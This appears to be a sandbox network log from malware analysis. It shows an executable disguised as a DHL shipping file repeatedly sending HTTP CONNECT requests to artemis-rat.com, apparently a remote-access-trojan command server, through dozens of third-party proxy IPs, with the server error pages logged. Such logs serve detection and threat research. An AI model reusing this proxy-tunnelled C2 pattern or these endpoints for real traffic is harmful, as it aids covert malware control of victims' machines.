Mar 11, 2024 18:37:23.773274899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.8	51495	45.138.87.238	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.264054060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.8	51548	160.153.245.187	31745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.270133972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.083512068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.049271107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.965204954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.693597078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.409655094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.8	51473	185.132.242.212	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.273227930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.8	51439	13.234.24.116	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.274107933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.676351070 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.8	51598	44.226.167.102	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.283909082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.476552963 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.8	51509	8.219.97.248	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.284687996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.632333040 CET	718	IN	HTTP/1.1 502 Bad Gateway Server: Tengine Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 571 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 38 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 33 2f 31 32 20 30 31 3a 33 36 3a 34 37 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://artemis-rat.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww8z</td></tr><tr><td>Date:</td><td>2024/03/12 01:36:47</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>
Mar 11, 2024 18:36:47.837654114 CET	718	IN	HTTP/1.1 502 Bad Gateway Server: Tengine Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 571 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 38 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 33 2f 31 32 20 30 31 3a 33 36 3a 34 37 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://artemis-rat.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww8z</td></tr><tr><td>Date:</td><td>2024/03/12 01:36:47</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.8	51507	8.222.152.158	55555	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.284790993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.631869078 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.8	51638	203.32.120.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.303064108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.457636118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.8	51784	43.134.167.223	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.304723978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.8	51786	43.134.167.223	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.306282997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.8	51787	43.134.167.223	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.307816029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.8	51792	43.134.167.223	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.310854912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.8	51649	104.24.236.203	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.312789917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.467365026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.8	51016	37.156.146.163	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.314116001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.331958055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409955025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.409857035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.8	51620	162.215.219.157	41697	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.314935923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909481049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.8	51556	203.74.125.18	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.315104008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.609329939 CET	711	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.25.0 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.25.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.8	51558	122.116.150.2	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.320261955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.8	51499	41.223.234.116	37259	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.320802927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.8	50154	117.160.250.163	9990	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.321994066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.578306913 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:36:51.579248905 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.8	51552	41.111.198.108	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.322173119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
